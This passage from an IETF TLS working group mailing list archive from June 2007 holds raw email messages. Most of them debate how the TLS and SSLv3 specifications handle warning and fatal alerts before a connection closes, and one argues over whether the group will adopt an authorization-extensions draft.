requested by the server and rejected by the client. If the server considers this an error "the detecting party sends a message to the other party." If that message is a fatal alert, the communication ends. If the peer simply closes the communication channel without sending the required (alert) message it is defective. -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 16:56:19 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxqvy-0001Ck-04; Mon, 11 Jun 2007 16:56:18 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxqvw-0001CE-VY; Mon, 11 Jun 2007 16:56:16 -0400 Received: from cirrus.av8.net ([130.105.36.66]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hxqvv-0000zI-Jy; Mon, 11 Jun 2007 16:56:16 -0400 Received: from [130.105.12.10] ([130.105.12.10]) (authenticated bits=0) by cirrus.av8.net (8.12.11/8.12.11) with ESMTP id l5BKuECn002591 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 11 Jun 2007 16:56:15 -0400 Date: Mon, 11 Jun 2007 16:56:13 -0400 (EDT) From: Dean Anderson X-X-Sender: dean@citation2.av8.net To: Pasi.Eronen@nokia.com Subject: RE: [TLS] Comments on draft-housley-tls-authz-extns-07 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.8 (/) X-Scan-Signature: b280b4db656c3ca28dd62e5e0b03daa8 Cc: hartmans-ietf@mit.edu, iesg@ietf.org, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Mon, 11 Jun 2007 Pasi.Eronen@nokia.com wrote: > Dean Anderson wrote: > > > On Wed, 30 May 2007, Sam Hartman wrote: > > > Dean, this is an excellent idea. Anyone who wants to including you > > > can discuss alternatives to the technology. The availability of > > > other ways to do this--particularly when combined with information > > > about whether people are willing to do the necessary work to write > > > up and implement these alternatives--would be great input to the > > > IESG. I'd appreciate anything you can do in this regard. > > > > To what working group should I take this work to? Not TLS, it > > hasn't agreed (has affirmatively refused) to take on this work. > > Dean: as you well know, most WG documents start as individual > Internet-Drafts. This way, the WG has something concrete to read > when considering whether to take on the work as WG item or not. > > Currently, no such draft exists. If, however, someone would write > such a draft, and ask the TLS WG to consider adopting it as WG > item, we would certainly consider it. Or yet in other words: > there certainly is *NO* blanket decision to refuse all work > in this area. One draft already exists: Housleys. And the working group will not work on that draft, even after scandal compels interest. So why would anyone expect it will work on another draft on the same subject? Kind of hard to motivate people to put in work, when the group has already said it won't take up the subject. Most all decisions are subject to future review and reversal. But many people look at past decisions for a clue to future decisions. > > > No working group will consider conducting this work. > > Let's not forget that *all* work in IETF is done by people, > not working groups. If nobody cares about this topic enough to > actually write a document and drive it forward, the question > of whether it should be WG item or not doesn't really apply. We have one document. Maybe two. Actually, I note that the TLS March '06 minutes for the discussion of the housley draft say: "A show of hands indicated that while a number of people are interested in this item, only two were interested enough to agree to review the document and comment. Thus, this item will continue as an individual item." In some other groups, this would be enough interest to take up the draft. There's always more people on the list who make comments, than come to meetings. And I note this was before the scandal erupted. Now, the scandal seems to have created an obligation to review the draft, and it _still_ isn't a working group item. I find that objectionable. The IESG can't remove the taint of scandal by itself. (hence the assurance the TLS group would review the draft; wasn't much of an assurance, it turns out). I was also wondering about the disproportion to the fact that the TLS WG has taken up a slew of authentication drafts, but no authorization drafts. One seems complementary to the other. There are some implementations of Housley, people are interested in writing code. Why aren't people on the WG interested in authorization? This seems odd to me. Some clue here would be helpful. --Dean -- Av8 Internet Prepared to pay a premium for better service? www.av8.net faster, more reliable, better service 617 344 9000 _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 18:27:34 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxsM1-0001K9-P5; Mon, 11 Jun 2007 18:27:17 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxsLz-0001K4-O5 for tls@ietf.org; Mon, 11 Jun 2007 18:27:15 -0400 Received: from moutng.kundenserver.de ([212.227.126.187]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HxsLy-0000GQ-93 for tls@ietf.org; Mon, 11 Jun 2007 18:27:15 -0400 Received: from [80.142.172.183] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu5) with ESMTP (Nemesis), id 0ML25U-1HxsLx1NeD-0006CN; Tue, 12 Jun 2007 00:27:13 +0200 Received: by tau.invalid (Postfix, from userid 1000) id F31BA1A460; Tue, 12 Jun 2007 00:27:11 +0200 (CEST) Date: Tue, 12 Jun 2007 00:27:11 +0200 From: Bodo Moeller To: Martin Rex Subject: Re: [TLS] Issue 16: Alert clarifications Message-ID: <20070611222711.GA8891@tau.invalid> References: <20070611054908.GB20635@tau.invalid> <200706112041.l5BKfH0u026040@fs4113.wdf.sap.corp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200706112041.l5BKfH0u026040@fs4113.wdf.sap.corp> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX18pa0OAXPjzAnDMvKlbaF+HJVu2Ktec/0qPO5k syOjt/ZzymMLKO+3hD1DEy4bfF2Ma0UDDhWljwLuLqgvH5+4K0 l/HCZ8JwbYzZaqoOmpTZQ== X-Spam-Score: 0.0 (/) X-Scan-Signature: a87a9cdae4ac5d3fbeee75cd0026d632 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Mon, Jun 11, 2007 at 10:41:17PM +0200, Martin Rex wrote: > Bodo Moeller wrote: >>> I don't undestand what should be new to this. >> I used to think so too. However, RFC 2246 and RFC 4346 both explicity >> say that >> >> if an alert with a level of warning is received, the >> receiving party MAY decide at its discretion whether to treat this as >> a fatal error or not. > > I don't see how this changes anything. A Server that receives a > no_certificate alert instead of a requested client SSL cert may > treat this as a fatal error as well. But that's a determination > made by the server, and such a determination is *NOT* covered > by the peer's alert message (the peer should be waiting for > continuation of the communication/handshake). I'm not sure what your point is here: We had suggestions to add some "SHOULD NOT tear down the connection for warning alerts" rule to the specification, or even "MUST NOT tear down"; you said you didn't understand what should be new to this; and in response I pointed to the above language that isn't consistent with "SHOULD NOT tear down" or "MUST NOT tear down": that's why "SHOULD NOT tear down" or "MUST NOT tear down" would be new. >> Sometimes this actually *does* make a bit of sense, e.g. when >> receiving a certificate-related alert when you know you have to be >> authenticated for whatever you intend to do with the TLS connection; >> or if you want to insist on renegotiation. It would make much more >> sense, though, if the party that intends to close the connection in >> response to a warning alert is required to send a fatal alert first. > This is how I understood the idea behind the seperate warning > and fatal alerts. >> Then the warning alert itself does not close the connection, and we >> have an explicit fatal alert that indicates to the other party that >> the connection will be closed. > There is one particular warning alert that terminates the currently active > SSL session (and usually, but not necessarily the connection): > the SSL close notify alert. True. The above language ("if an alert with a level of warning is received ...") is from the "Error Alerts" subsection of the "Alert Protocol" subsection, which covers any alerts besides the close_notify alert, so that's actually what the proposal is meant for. >> This is what my proposal would achieve: >> >> If an alert with a level of warning is sent and received, generally >> the connection can continue normally. If the receiving party >> decides not to proceed with the connection (e.g., after having >> received a no_renegotiation alert that it is not willing to >> accept), it MUST send a fatal alert to terminate the connection. >> >> Nelson has suggested spelling out that fatal alerts should be required >> for all fatal errors, which makes sense too. That is, anytime a >> party closes the connection because of whatever error, it should send >> a fatal alert unless it has already sent or received one, or unless >> it is impossible to send anything. > The description of Error (alerts) in SSLv3 (Nov.96) says this: > > 5.4.2 Error alerts > > Error handling in the SSL Handshake protocol is very simple. When > an error is detected, the detecting party sends a message to the > other party. Upon transmission or receipt of an fatal alert > message, both parties immediately close the connection. Servers > and clients are required to forget any session-identifiers, keys, > and secrets associated with a failed connection. The following > error alerts are defined: > > A no_certificate alert sent by an SSL/TLS client is not an error, > it is a protocol option requested by the server and rejected by the > client. If the server considers this an error "the detecting party > sends a message to the other party." If that message is a fatal > alert, the communication ends. If the peer simply closes the > communication channel without sending the required (alert) message > it is defective. Here you are mixing levels: the no_certicate alert *is* defined in the "Error Alerts" section, so technically this *is* an "error" -- at least in the sense of "error" that the sentence that you quote is assuming. Actually it seems that our ideas on how the protocol should behave with regards to alerts agree mostly (or even completely). The main problem apparently is that there are many things that the specification doesn't spell out clearly -- they are left to common sense, and occasionally there are different ways to interpret the few details that the specification does spell out that yet, when applying common sense, can lead to the same result. Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 19:26:49 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxtHW-0000AQ-NE; Mon, 11 Jun 2007 19:26:42 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxtHV-00004t-PM for tls@ietf.org; Mon, 11 Jun 2007 19:26:41 -0400 Received: from smtpde02.sap-ag.de ([155.56.68.170]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HxtHS-0003fT-Sm for tls@ietf.org; Mon, 11 Jun 2007 19:26:41 -0400 Received: from sap-ag.de (smtpde02) by smtpde02.sap-ag.de (out) with ESMTP id BAA28015; Tue, 12 Jun 2007 01:26:35 +0200 (MESZ) From: Martin Rex Message-Id: <200706112326.l5BNQY5h010259@fs4113.wdf.sap.corp> Subject: Re: [TLS] Issue 16: Alert clarifications To: bmoeller@acm.org (Bodo Moeller) Date: Tue, 12 Jun 2007 01:26:34 +0200 (MEST) In-Reply-To: <20070611222711.GA8891@tau.invalid> from "Bodo Moeller" at Jun 12, 7 00:27:11 am MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: 082a9cbf4d599f360ac7f815372a6a15 Cc: Martin.Rex@sap.com, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Bodo Moeller wrote: > > Martin Rex wrote: > > > > The description of Error (alerts) in SSLv3 (Nov.96) says this: > > > > 5.4.2 Error alerts > > > > Error handling in the SSL Handshake protocol is very simple. When > > an error is detected, the detecting party sends a message to the > > other party. Upon transmission or receipt of an fatal alert > > message, both parties immediately close the connection. Servers > > and clients are required to forget any session-identifiers, keys, > > and secrets associated with a failed connection. The following > > error alerts are defined: > > > > A no_certificate alert sent by an SSL/TLS client is not an error, > > it is a protocol option requested by the server and rejected by the > > client. If the server considers this an error "the detecting party > > sends a message to the other party." If that message is a fatal > > alert, the communication ends. If the peer simply closes the > > communication channel without sending the required (alert) message > > it is defective. > > Here you are mixing levels: the no_certicate alert *is* defined in > the "Error Alerts" section, so technically this *is* an "error" -- > at least in the sense of "error" that the sentence that you quote > is assuming. Carefully read the "Error alerts" (which is present in TLS 1.0 as well) again. The two important points there are 1) "When an error is detected, the detecting party sends a message to the the other party". 2) "upon transmission or receipt of a(n) fatal alert message, both parties immediately close the connection." In error situations, the connection is terminated after transmission or receipt of a fatal alert message. The party that "detects" the error (i.e. the party that wants to abort the handshake) sends a (fatal alert) message to the other party. For me, that is equal to a "MUST send fatal alert before closing the connection" in error situations. Graceful shutdown uses close notify (warning) alerts. The "no_certificate" and "no_renegotiation" message, when sent as warning (not as fatal) are definitely not errors, they just happen to share the same messaging primitive (SSL alert) and are therefore described in this section as well. At most, the TLS spec failed to adopt the correct spec terminology when copying the SSLv3 text. IMHO it has always been fairly obvious what correct implementations are supposed to do. -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 19:42:18 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxtWZ-00063j-4K; Mon, 11 Jun 2007 19:42:15 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxtWX-00063d-UZ for tls@ietf.org; Mon, 11 Jun 2007 19:42:13 -0400 Received: from moutng.kundenserver.de ([212.227.126.183]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HxtWX-0007zj-HW for tls@ietf.org; Mon, 11 Jun 2007 19:42:13 -0400 Received: from [80.142.172.183] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu2) with ESMTP (Nemesis), id 0MKwtQ-1HxtWV0eDk-0003Go; Tue, 12 Jun 2007 01:42:11 +0200 Received: by tau.invalid (Postfix, from userid 1000) id 1D9F81A460; Tue, 12 Jun 2007 01:42:10 +0200 (CEST) Date: Tue, 12 Jun 2007 01:42:09 +0200 From: Bodo Moeller To: Martin Rex Subject: Re: [TLS] Issue 16: Alert clarifications Message-ID: <20070611234209.GA11010@tau.invalid> References: <20070611222711.GA8891@tau.invalid> <200706112326.l5BNQY5h010259@fs4113.wdf.sap.corp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200706112326.l5BNQY5h010259@fs4113.wdf.sap.corp> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX18GHiuISUhNr/nuCVlKzm5kj/L+m+XM9J0gwaM z1pscl1BPP4hEZmX84n+LS1JGGVQBlEf4AgPyNeTTvEaT7fHOu JMjr5zRVrriG9xQbvd7Zg== X-Spam-Score: 0.0 (/) X-Scan-Signature: 00e94c813bef7832af255170dca19e36 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Tue, Jun 12, 2007 at 01:26:34AM +0200, Martin Rex wrote: > Bodo Moeller wrote: >> Martin Rex wrote: [...] >>> A no_certificate alert sent by an SSL/TLS client is not an error, >>> it is a protocol option requested by the server and rejected by the >>> client. If the server considers this an error "the detecting party >>> sends a message to the other party." If that message is a fatal >>> alert, the communication ends. If the peer simply closes the >>> communication channel without sending the required (alert) message >>> it is defective. >> Here you are mixing levels: the no_certicate alert *is* defined in >> the "Error Alerts" section, so technically this *is* an "error" -- >> at least in the sense of "error" that the sentence that you quote >> is assuming. > Carefully read the "Error alerts" (which is present in TLS 1.0 as well) > again. > > The two important points there are > > 1) "When an error is detected, the detecting party sends a > message to the the other party". > > 2) "upon transmission or receipt of a(n) fatal alert message, > both parties immediately close the connection." > > In error situations, the connection is terminated after transmission > or receipt of a fatal alert message. The party that "detects" the > error (i.e. the party that wants to abort the handshake) sends a > (fatal alert) message to the other party. > > For me, that is equal to a "MUST send fatal alert before closing > the connection" in error situations. This is what it means to you because this makes SENSE, not because it has been WRITTEN DOWN in the spec :-) > Graceful shutdown uses > close notify (warning) alerts. > > The "no_certificate" and "no_renegotiation" message, when sent as > warning (not as fatal) are definitely not errors, they just happen > to share the same messaging primitive (SSL alert) and are therefore > described in this section as well. They are not errors to you, but they are errors in the terminology of at least the TLS 1.0 spec, and arguably also the SSL 3.0 spec. Remember that not only this is the "Error alerts" section, but also that RFC 2246 states that For all errors where an alert level is not explicitly specified, the ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ sending party may determine at its discretion whether this is a fatal ^^^^^^^^^^^^^^^^^^^^^^^ error or not; if an alert with a level of warning is received, the ^^^^^^^^^^^^ receiving party may decide at its discretion whether to treat this as a fatal error or not. However, all messages which are transmitted with a level of fatal must be treated as fatal messages. According to this, there can be non-fatal errors -- in other words, warnings are still "errors" in the terminology employed by the specification. Of course, I totally agree that it makes sense to require fatal alerts before the connection is torn down (except in the close_notify case, obviously), and that it makes a lot of sense for implementations of the current specs to behave like this. I just don't agree that the current specifcations already require implementations to do this. Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 20:01:32 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxtpD-0007PM-3n; Mon, 11 Jun 2007 20:01:31 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxtpB-0007P8-AE for tls@ietf.org; Mon, 11 Jun 2007 20:01:29 -0400 Received: from smtpde03.sap-ag.de ([155.56.68.140]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hxtp9-0003lC-V3 for tls@ietf.org; Mon, 11 Jun 2007 20:01:29 -0400 Received: from sap-ag.de (smtpde03) by smtpde03.sap-ag.de (out) with ESMTP id CAA28198; Tue, 12 Jun 2007 02:01:22 +0200 (MESZ) From: Martin Rex Message-Id: <200706120001.l5C01Lh2013198@fs4113.wdf.sap.corp> Subject: Re: [TLS] Issue 16: Alert clarifications To: martin.rex@sap.com Date: Tue, 12 Jun 2007 02:01:21 +0200 (MEST) In-Reply-To: <200706112326.l5BNQY5h010259@fs4113.wdf.sap.corp> from "Martin Rex" at Jun 12, 7 01:26:34 am MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Martin Rex wrote: > > The "no_certificate" and "no_renegotiation" message, when sent as > warning (not as fatal) are definitely not errors, they just happen > to share the same messaging primitive (SSL alert) and are therefore > described in this section as well. I should have written "ssl alert" instead of "message". When I just compared SSLv3 and TLSv1 I realized subtle differences that are not listed as (backwards incompatible) changes to the spec. A list of changes from SSLv3 -> TLSv1.0 -> TLSv1.1 -> TLSv1.2 seems to be missing badly from the existing documents. SSLv3 still had a "no_certificate" (warning) alert, which has evaporated without traces from TLSv1.0. Instead, TLSv1.0 allows an empty certificate list in (server and) Client Certificate message, something that was _NOT_ permitted in SSLv3. I also noticed that the Certificate Request message was silently changed from TLSv1.0 to TLSv1.1, suddenly permitting an empty list of DNames (which is _NOT_ permitted in SSLv3 and TLSv1.0) Acutally, I quite dislike this latter feature because it will be annoying to users with multiple client certs if automatic selection of a matching cert is impossible. -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 20:15:59 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxu3D-0002G3-8a; Mon, 11 Jun 2007 20:15:59 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxu3B-0002Fs-RQ for tls@ietf.org; Mon, 11 Jun 2007 20:15:57 -0400 Received: from smtpde03.sap-ag.de ([155.56.68.140]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hxu3A-0007p3-Dw for tls@ietf.org; Mon, 11 Jun 2007 20:15:57 -0400 Received: from sap-ag.de (smtpde03) by smtpde03.sap-ag.de (out) with ESMTP id CAA20240; Tue, 12 Jun 2007 02:15:51 +0200 (MESZ) From: Martin Rex Message-Id: <200706120015.l5C0FpSQ014433@fs4113.wdf.sap.corp> Subject: Re: [TLS] Issue 16: Alert clarifications To: bmoeller@acm.org (Bodo Moeller) Date: Tue, 12 Jun 2007 02:15:51 +0200 (MEST) In-Reply-To: <20070611234209.GA11010@tau.invalid> from "Bodo Moeller" at Jun 12, 7 01:42:09 am MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: 4adaf050708fb13be3316a9eee889caa Cc: Martin.Rex@sap.com, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Bodo Moeller wrote: > > They are not errors to you, but they are errors in the terminology > of at least the TLS 1.0 spec, and arguably also the SSL 3.0 spec. They can be interpreted as errors, but if the sender does not tag them as "fatal", then they're _NOT_ fatal errors resulting in termination of the connection. > Remember that not only this is the "Error alerts" section, but > also that RFC 2246 states that > > For all errors where an alert level is not explicitly specified, the > ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > sending party may determine at its discretion whether this is a fatal > ^^^^^^^^^^^^^^^^^^^^^^^ > error or not; if an alert with a level of warning is received, the > ^^^^^^^^^^^^ > receiving party may decide at its discretion whether to treat this as > a fatal error or not. However, all messages which are transmitted > with a level of fatal must be treated as fatal messages. The user_cancel alert is particularly fascinating in TLSv1.0 It is always a warning level alert, and the sender of this warning should followup directly with a "close notify alert" (apparently to perform "graceful" shutdown). > > According to this, there can be non-fatal errors -- in other words, > warnings are still "errors" in the terminology employed by the > specification. > > Of course, I totally agree that it makes sense to require fatal alerts > before the connection is torn down (except in the close_notify case, > obviously), and that it makes a lot of sense for implementations of > the current specs to behave like this. I just don't agree that the > current specifcations already require implementations to do this. I firmly believe that the SSLv3 spec required it, but a spec weasel might try to argue that the TLSv1.0 an later specs have failed to add the proper rfc-2119 terminology to various places of the SSLv3 protocol description and therefore relaxed the original SSLv3 requirements. -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 20:37:31 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxuO2-0002BA-3q; Mon, 11 Jun 2007 20:37:30 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxuO1-0002B5-82 for tls@ietf.org; Mon, 11 Jun 2007 20:37:29 -0400 Received: from moutng.kundenserver.de ([212.227.126.188]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HxuNz-0006jQ-SR for tls@ietf.org; Mon, 11 Jun 2007 20:37:29 -0400 Received: from [80.142.172.183] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu7) with ESMTP (Nemesis), id 0ML2xA-1HxuNz0R7Y-0000qU; Tue, 12 Jun 2007 02:37:27 +0200 Received: by tau.invalid (Postfix, from userid 1000) id 26A901A460; Tue, 12 Jun 2007 02:37:26 +0200 (CEST) Date: Tue, 12 Jun 2007 02:37:26 +0200 From: Bodo Moeller To: Martin Rex Subject: Re: [TLS] Issue 16: Alert clarifications Message-ID: <20070612003726.GA12437@tau.invalid> References: <20070611234209.GA11010@tau.invalid> <200706120015.l5C0FpSQ014433@fs4113.wdf.sap.corp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200706120015.l5C0FpSQ014433@fs4113.wdf.sap.corp> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX18es3ptl7vN+T+c+6GxHFoB+vDhOhr4V3kCDYj +OR7TEIjnwoAvvUZ6fnl4nXp+a+AG5A1lb7/NIKKLTXQosNAjm 1IUAi4eYWFBSvqXkCTOYg== X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Tue, Jun 12, 2007 at 02:15:51AM +0200, Martin Rex wrote: >> Of course, I totally agree that it makes sense to require fatal alerts >> before the connection is torn down (except in the close_notify case, >> obviously), and that it makes a lot of sense for implementations of >> the current specs to behave like this. I just don't agree that the >> current specifcations already require implementations to do this. > I firmly believe that the SSLv3 spec required it, but a spec weasel > might try to argue that the TLSv1.0 an later specs have failed to add > the proper rfc-2119 terminology to various places of the SSLv3 protocol > description and therefore relaxed the original SSLv3 requirements. This has nothing to do with RFC 2119 terminology. RFC 2246 and later make specific statements regarding what the sender and receiver of an alert should do; this is where the RFC could have codified, in whatever form, this aspect of the distinction between fatal alerts and warning alerts. It quite clearly doesn't say what we think it should be saying. (The SSL 3.0 specification is different mostly in that it doesn't discuss this issue in that much detail, thus leaving more space for common sense.) Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 23:27:08 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxx1r-0008AX-Qh; Mon, 11 Jun 2007 23:26:47 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxx1q-0008AS-S3 for tls@ietf.org; Mon, 11 Jun 2007 23:26:46 -0400 Received: from smtpde01.sap-ag.de ([155.56.68.171]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hxx1p-0000DB-Fj for tls@ietf.org; Mon, 11 Jun 2007 23:26:46 -0400 Received: from sap-ag.de (smtpde01) by smtpde01.sap-ag.de (out) with ESMTP id FAA08618; Tue, 12 Jun 2007 05:26:41 +0200 (MESZ) From: Martin Rex Message-Id: <200706120326.l5C3QfCb000990@fs4113.wdf.sap.corp> Subject: Re: [TLS] Issue 16: Alert clarifications To: bmoeller@acm.org (Bodo Moeller) Date: Tue, 12 Jun 2007 05:26:41 +0200 (MEST) In-Reply-To: <20070612003726.GA12437@tau.invalid> from "Bodo Moeller" at Jun 12, 7 02:37:26 am MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 Cc: Martin.Rex@sap.com, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Bodo Moeller wrote: > > This has nothing to do with RFC 2119 terminology. RFC 2246 and later > make specific statements regarding what the sender and receiver of an > alert should do; this is where the RFC could have codified, in > whatever form, this aspect of the distinction between fatal alerts and > warning alerts. It quite clearly doesn't say what we think it should > be saying. I disagree. Search rfc2246 for "close" of the connection, and every occurrence except for "Closure alert" explicitly references a prior fatal ssl alert. I don't see where the spec would permit or even suggest closure of the connection after any other ssl alert of level warning other than "closure alert". -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 12 01:30:49 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxyxr-00060Z-Az; Tue, 12 Jun 2007 01:30:47 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxyxq-0005v8-6V for tls@ietf.org; Tue, 12 Jun 2007 01:30:46 -0400 Received: from smtpout1451.sc1.he.tucows.com ([64.97.157.151] helo=n007.sc1.he.tucows.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hxyxo-0005hu-RS for tls@ietf.org; Tue, 12 Jun 2007 01:30:46 -0400 Received: from [192.168.0.2] (24.6.51.98) by n007.sc1.he.tucows.com (7.2.069.1) (authenticated as nelson@bolyard.com) id 465670BB00326282; Tue, 12 Jun 2007 05:30:39 +0000 Message-ID: <466E2F81.5080808@bolyard.com> Date: Mon, 11 Jun 2007 22:30:41 -0700 From: Nelson B Bolyard Organization: Spam haters R US User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070528 SeaMonkey/1.5a MIME-Version: 1.0 Subject: Re: [TLS] Issue 16: Alert clarifications References: <200706120015.l5C0FpSQ014433@fs4113.wdf.sap.corp> In-Reply-To: <200706120015.l5C0FpSQ014433@fs4113.wdf.sap.corp> 